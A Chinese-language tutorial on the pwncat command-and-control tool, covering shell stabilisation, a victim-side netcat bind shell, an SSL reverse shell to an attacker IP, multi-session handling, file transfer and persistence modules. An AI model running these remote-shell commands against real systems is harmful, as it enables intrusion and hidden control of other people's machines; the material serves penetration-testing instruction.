pwncat是一个命令和控制框架,可以将基本的反向或绑定shell转化为一个功能齐全的利用平台。然后,它将尝试在远程主机上启动一个伪终端,并为您提供原始终端访问。
但pwncat不止于此。除了自动的获取全交互式终端外,pwncat还提供了一个本地Shell界面,可以用来使用自动枚举模块、自动持久化,甚至自动提权,文件上传/下载。
当在获取到一个基本的反向 shell 后,还需要做以下步骤来防止终端意外退出。
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl + Zexport TERM=xtermstty rows 38 columns 116
当输入这几天命令后才能防止 Ctrl + C 意外结束。遇到上传/下载文件还需要使用 python 开启一个临时的 http 服务器。
而现在这些步骤都可以被 calebstewart/pwncat: Fancy reverse and bind shell handler 来自动实现。
pwncat 使用
安装
对于仅只用的,推荐下面的命令安装
python3 -m venv pwncat-env
source pwncat-env/bin/activate
pip install pwncat-cs
对于开发环境,使用这里的命令安装
# Setup pwncat inside a poetry-managed virtual environment
git clone https://github.com/calebstewart/pwncat
cd pwncat
poetry install# Enter the virtual environment
poetry shell
bind shell 获取
首先在受害者机器输入下面的命令,这条命令会将 /bin/sh 绑定到 4444 端口
nc -lvp 4444 -e /bin/sh
接下来使用 pwncat 连接
pwncat-cs 目标ip 目标端口
pwncat-cs 192.168.99.136 4444
反向 shell 获取
在攻击机开启监听端口 4444
当在受害者连接到攻击机时,将返回 shell
此时是本地交互终端(控制台),以 local 作为标志。
这里可以切换多个控制的主机、文件上传/文件下载、模块自动利用等。
进入到被控机器
对于一台主机,可以使用 Ctrl + D 键进入被控机器,以 remote 为标志。再次按 Ctrl + D 将返回本地交互终端。
多台主机控制
首先开启监听,这将在后台监听 4444 端口的连接。
在受害者连接监听端口 4444,这样将会有两台主机。
使用 session id 的方式切换被控机
使用 listeners 可以看到正在监听的端口,此时监听的端口可以接收多台主机。
也可以使用参数来限制上线数量。使用 -c 来限制数量,这样 1234 端口将仅限被连接两次。
listen -c 2 -m linux 1234
这里可以看到,第三次连接失败了。
需要注意的使,当 pwncat 程序退出后,将丢失所有会话
开启 ssl 加密
通过 wireshark 抓包可以看到,流量是明文的
pwncat 还支持 ssl,下面将介绍开启 ssl 连接的步骤。
创建一个支持 ssl 的监听器,这将会自动创建一个自签名的 ssl 证书。
使用支持 ssl 连接的 nc 来连接目标端口。
ncat --ssl 192.168.99.136 4444 -e /bin/sh
此时与会话1的交互将是被加密的,4444 -> 33644 流量加密,1234 -> 48548 明文传输。
而会话 0 是明文连接。
文件下载/文件上传
文件下载
pwncat 使用 lcd 来切换 的目录,创建一个 pwncat-loot,使用 lcd 切换到此目录。
使用 download 下载文件将会下载到工作目录 pwncat-loot。
文件上传
将要上传的文件复制到 pwncat-loot。
使用 upload 上传到被控机器。
ssh 连接
除了正向、反向外,还支持 ssh 连接
这样就可以使用 pwncat 来管理多个 ssh 会话了
linux 权限维持自动化模块
此外 pwncat 还有一些好用的模块,可以用来权限维持。